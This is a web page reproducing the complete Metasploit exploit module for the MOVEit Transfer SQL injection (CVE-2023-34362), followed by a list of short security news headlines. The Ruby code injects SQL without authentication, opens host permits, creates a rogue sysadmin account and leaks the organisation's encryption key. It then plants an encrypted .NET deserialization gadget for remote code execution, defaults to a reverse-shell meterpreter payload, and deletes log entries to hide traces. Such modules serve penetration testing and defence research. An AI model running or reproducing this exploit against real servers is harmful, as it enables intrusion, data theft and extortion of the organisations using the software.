Headline
MOVEit SQL Injection
This Metasploit module exploits an SQL injection vulnerability in the MOVEit Transfer web application that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker can leverage an information leak be able to upload a .NET deserialization payload.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'MOVEit SQL Injection vulnerability', 'Description' => %q{ This module exploits an SQL injection vulnerability in the MOVEit Transfer web application that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker can leverage an information leak be able to upload a .NET deserialization payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362 'rbowes-r7', # research 'bwatters-r7' # module ], 'References' => [ ['CVE', '2023-34362' ], ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'], ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'], ['URL', 'https://www.wiz.io/blog/cve-2023-34362'] ], 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 345 }, 'Targets' => [ [ 'Windows Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'RPORT' => 443, 'SSL' => true } } ], ], 'DisclosureDate' => '2023-05-31', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']), Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)]) ] ) @moveit_token = nil @moveit_instid = nil @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com" @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15) @uploadfile_size = rand(5..64) @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) @user_added = false @files_json = nil end def begin_file_upload(folders_json, token_json) boundary = rand_text_numeric(27) post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ 'method' => 'POST', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Authorization' => "Bearer #{token_json['access_token']}" }, 'connection' => 'close', 'accept' => '*/*', 'data' => post_data.to_s }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200 files_json = res.get_json_document vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") files_json end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'), 'connection' => 'close', 'accept' => '*/*' }) version = nil if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version') version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version']) # 2020.1.x AKA 12.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10') # 2021.0.x AKA 13.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8') # 2021.1.x AKA 13.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6') # 2022.0.x AKA 14.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6') # 2022.1.x AKA 14.1.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7') # 2023.0.x AKA 15.0.x return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3') else return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def cleanup cleanup_user(@files_json) if @user_added super end def cleanup_user(files_json) hax_username = datastore['USERNAME'] hax_loginname = datastore['LOGIN_NAME'] deleteuser_payload = [ "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. ] if @user_added vprint_status("Deleting user #{hax_username}") sqli(sqli_payload(deleteuser_payload)) @user_added = false end end def create_sysadmin hax_username = datastore['USERNAME'] hax_password = datastore['PASSWORD'] hax_loginname = datastore['LOGIN_NAME'] createuser_payload = [ "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", ] res = sqli(sqli_payload(createuser_payload)) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200 @user_added = true end def encrypt_deserialization_gadget(gadget, org_key) org_key = org_key.gsub(' ', '') org_key = [org_key].pack('H*').bytes.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) deserialization_gadget end def find_folder_id(token_json) folders_response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/api/v1/folders'), 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}" } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200 folders_json = JSON.parse(folders_response.body) vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") folders_json end def get_csrf_token(res) fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ ::Regexp.last_match(1) end def guestaccess_request(body) res = send_request_cgi({ 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri('guestaccess.aspx'), 'connection' => 'close', 'accept' => '*/*', 'vars_post' => body }) res end # Perform a request to the ISAPI endpoint with an arbitrary transaction def isapi_request(transaction, headers) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), 'keep_cookies' => true, 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', 'X-siLock-Transaction': transaction }.merge(headers) }) end def leak_encryption_key(token_json, files_json) haxleak_payload = [ # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234) "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" ] sqli(sqli_payload(haxleak_payload)) leak_response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"), 'connection' => 'close', 'accept' => '*/*', 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}" } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200 leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] vprint_status("Leaked the Org Key: #{org_key}") org_key end def makev1password(password, salt = 'AAAA') fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty? fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4 # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret pwpre = Base64.decode64('=VT2jkEH3vAs=') pwpost = Base64.decode64('=0maaSIA5oy0=') md5 = Digest::MD5.new md5.update(pwpre) md5.update(salt) md5.update(password) md5.update(pwpost) pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC') pw << salt pw << md5.digest return Base64.strict_encode64(pw).gsub('+', '-') end def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16 if iv.nil? iv = Rex::Text.rand_text_alphanumeric(4) # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. iv *= 4 end # MOVEit.DMZ.Core.Cryptography.Encryption key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') key += org_key key += [0, 0, 0, 0].pack('C*') # MOVEit.Crypto.AesMOVEitCryptoTransform cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv encrypted_data = cipher.update(data) + cipher.final data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader header = [ 225, # MOVEitV2EncryptedStringHeader 0, data_sha1_hash[0], data_sha1_hash[1], org_key_sha1_hash[0], org_key_sha1_hash[1], org_key_sha1_hash[2], org_key_sha1_hash[3], iv.unpack('C*')[0], iv.unpack('C*')[1], iv.unpack('C*')[2], iv.unpack('C*')[3], ].pack('C*') # MOVEit.DMZ.Core.Cryptography.Encryption return tag + Base64.strict_encode64(header + encrypted_data) end def populate_token_instid begin res = send_request_cgi({ 'method' => 'GET', 'keep_cookies' => true, 'connection' => 'keep-alive', 'accept' => '*/*' }) cookies = res.get_cookies # Get the session id from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ @moveit_token = ::Regexp.last_match(1) vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}") # Get the InstID from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/ @moveit_instid = ::Regexp.last_match(1) vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}") end true end def request_api_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/api/v1/token'), 'Content-Type' => 'application/x-www-form-urlencoded', 'connection' => 'keep-alive', 'accept' => '*/*', 'vars_post' => { 'grant_type' => 'password', 'username' => datastore['LOGIN_NAME'], 'password' => datastore['PASSWORD'] } }) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200 token_json = JSON.parse(res.body) vprint_status("Got API access token='#{token_json['access_token']}'.") token_json end def set_session(session_hash) session_vars = {} session_index = 0 session_hash.each_pair do |k, v| session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}" session_index += 1 end isapi_request('session_setvars', session_vars) end def sqli(sql_payload) # Set up a fake package in the session. The order here is important. We set these session # variables one per request, so first set the package information, then switch over to a # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this # order the session will be cleared and the injection will not work. set_session({ 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0) 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => sql_payload, 'MyUsername' => 'Guest' }) # Get a CSRF token - this has to be *after* you set MyUsername, since the # username is incorporated into it # # Transaction => request type, different types will work # Arg06 => the package access code (must match what's set above) # Arg12 => promptaccesscode requests a form, which contains a CSRF code body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } csrf = get_csrf_token(guestaccess_request(body)) # This does the actual injection body = { 'Arg06' => 'accesscode', 'transaction' => 'secmsgpost', 'Arg01' => 'subject', 'Arg04' => 'body', 'Arg05' => 'sendauto', 'Arg09' => 'pkgtest9', 'csrftoken' => csrf } guestaccess_request(body) end def sqli_payload(sql_payload) # Create the initial injection, and create the session object payload = [ # The initial injection "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')", ].concat(sql_payload) # Join our payload, and terminate with a comment character return payload.join(';') + ';#' end def trigger_deserialization(token_json, files_json, folders_json) files_response = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"), 'connection' => 'close', 'accept' => '*/*', 'verify' => false, 'headers' => { 'Authorization' => "Bearer #{token_json['access_token']}", 'Content-Type' => 'application/octet-stream', 'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}", 'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data) }, 'data' => @uploadfile_data }) # 500 if payload runs :) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500 end def upload_encrypted_gadget(encrypted_gadget, files_json) haxupload_payload = [ "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", ] vprint_status('Planting encrypted gadget into the DB...') sqli(sqli_payload(haxupload_payload)) end def exploit # Get the sessionID and siLockLongTermInstID print_status('[01/11] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd print_status('[02/11] Create New Sysadmin') create_sysadmin print_status('[03/11] Get API Token') token_json = request_api_token print_status('[04/11] Get Folder ID') folders_json = find_folder_id(token_json) print_status('[05/11] Begin File Upload') @files_json = begin_file_upload(folders_json, token_json) print_status('[06/11] Leak Encryption Key') org_key = leak_encryption_key(token_json, @files_json) print_status('[07/11] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) print_status('[08/11] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) print_status('[09/11] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, @files_json) print_status('[10/11] Trigger Gadget') trigger_deserialization(token_json, @files_json, folders_json) print_status('[11/11] Cleaning Up') cleanup_user(@files_json) endend
Related news
While Progress has released patches for the vulnerabilities, attackers are trying to exploit them before organizations have a chance to remediate.
Gotham Orbital-Simulator service prior to 0.692.0 was found to be vulnerable to a Path traversal issue allowing an unauthenticated user to read arbitrary files on the file system.
In Apollo change requests, comments added by users could contain a javascript URI link that when rendered will result in an XSS that require user interaction.
The Foundry Magritte plugin rest-source was found to be vulnerable to an an XML external Entity attack (XXE).
A security defect was identified in Foundry Frontend that enabled users to potentially conduct DOM XSS attacks if Foundry's CSP were to be bypassed. This defect was resolved with the release of Foundry Frontend 6.225.0.
A security defect was discovered in Foundry job-tracker that enabled users to query metadata related to builds on resources they did not have access to. This defect was resolved with the release of job-tracker 4.645.0. The service was rolled out to all affected Foundry instances. No further intervention is required.
A security defect was identified that enabled a user of Foundry Issues to perform a Denial of Service attack by submitting malformed data in an Issue that caused loss of frontend functionality to all issue participants. This defect was resolved with the release of Foundry Issues 2.510.0 and Foundry Frontend 6.228.0.
Users need to patch the latest SQL injection vulnerability as soon as possible. Meanwhile, Cl0p's data extortion rampage gallops on.
A security defect was identified in Foundry Issues. If a user was added to an issue on a resource that they did not have access to and consequently could not see, they could query Foundry's Notification API and receive metadata about the issue including the RID of the issue, severity, internal UUID of the author, and the user-defined title of the issue.
These clinics offers pro-bono cybersecurity services — like incident response, general advice and ransomware defense — to community organizations, non-profits and small businesses that normally couldn’t afford to pay a private company for these same services.
The announcement was posted on Twitter via the Rewards for Justice Twitter account, alongside encrypted messaging system options for anyone to get into contact should they have viable information.
The Clop ransomware group has claimed responsibility for exploiting the vulnerability to deploy a previously unseen web shell, LemurLoot.
MOVEit has created a patch to fix the issue and urges customers to take action to protect their environments, as Cl0p attacks continue to mount, including on government targets.
Progress Software on Thursday disclosed a third vulnerability impacting its MOVEit Transfer application, as the Cl0p cybercrime gang deployed extortion tactics against affected companies. The new flaw, which is yet to be assigned a CVE identifier, also concerns an SQL injection vulnerability that "could lead to escalated privileges and potential unauthorized access to the environment." The
The information leak threats are certainly new, but the education and messaging from security evangelists (and even just anyone trying to educate an older or less security-savvy family member) doesn’t change.
By Waqas Ofcom, the UK communications regulator, is the latest victim of the infamous Cl0p extortion gang, who have been exploiting MOVEit vulnerabilities to target high-profile firms. This is a post from HackRead.com Read the original post: UK’s Ofcom confirms cyber attack as PoC exploit for MOVEit is released
Categories: Exploits and vulnerabilities Categories: News Categories: Ransomware Tags: MOVEit Tags: Progress Tags: Cl0p Tags: ransomware Tags: CVE-2023-34362 A security audit of the MOVEit code has revealed more SQL injection vulnerabilities, while victims of the first vulnerability are coming to the surface. (Read more...) The post More MOVEit vulnerabilities found while the first one still resonates appeared first on Malwarebytes Labs.
Progress Software, the company behind the MOVEit Transfer application, has released patches to address brand new SQL injection vulnerabilities affecting the file transfer solution that could enable the theft of sensitive information. "Multiple SQL injection vulnerabilities have been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain
YouTube released a statement that “we will stop removing content that advances false claims that widespread fraud, errors, or glitches occurred in the 2020 and other past US Presidential elections.”
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have published a joint advisory regarding the active exploitation of a recently disclosed critical flaw in Progress Software's MOVEit Transfer application to drop ransomware. "The Cl0p Ransomware Gang, also known as TA505, reportedly began exploiting a previously unknown SQL injection
Categories: Exploits and vulnerabilities Categories: News Categories: Ransomware Tags: Progress Tags: MOVEit Tags: Transfer Tags: CVE-2023-34362 Tags: BBC Tags: Zellis Tags: BA The first victims of the ongoing attacks on vulnerable MOVEit Transfer instances are coming forward. The Cl0p ransomware gang claims it is behind the attacks. (Read more...) The post Cl0p ransomware gang claims first victims of the MOVEit vulnerability appeared first on Malwarebytes Labs.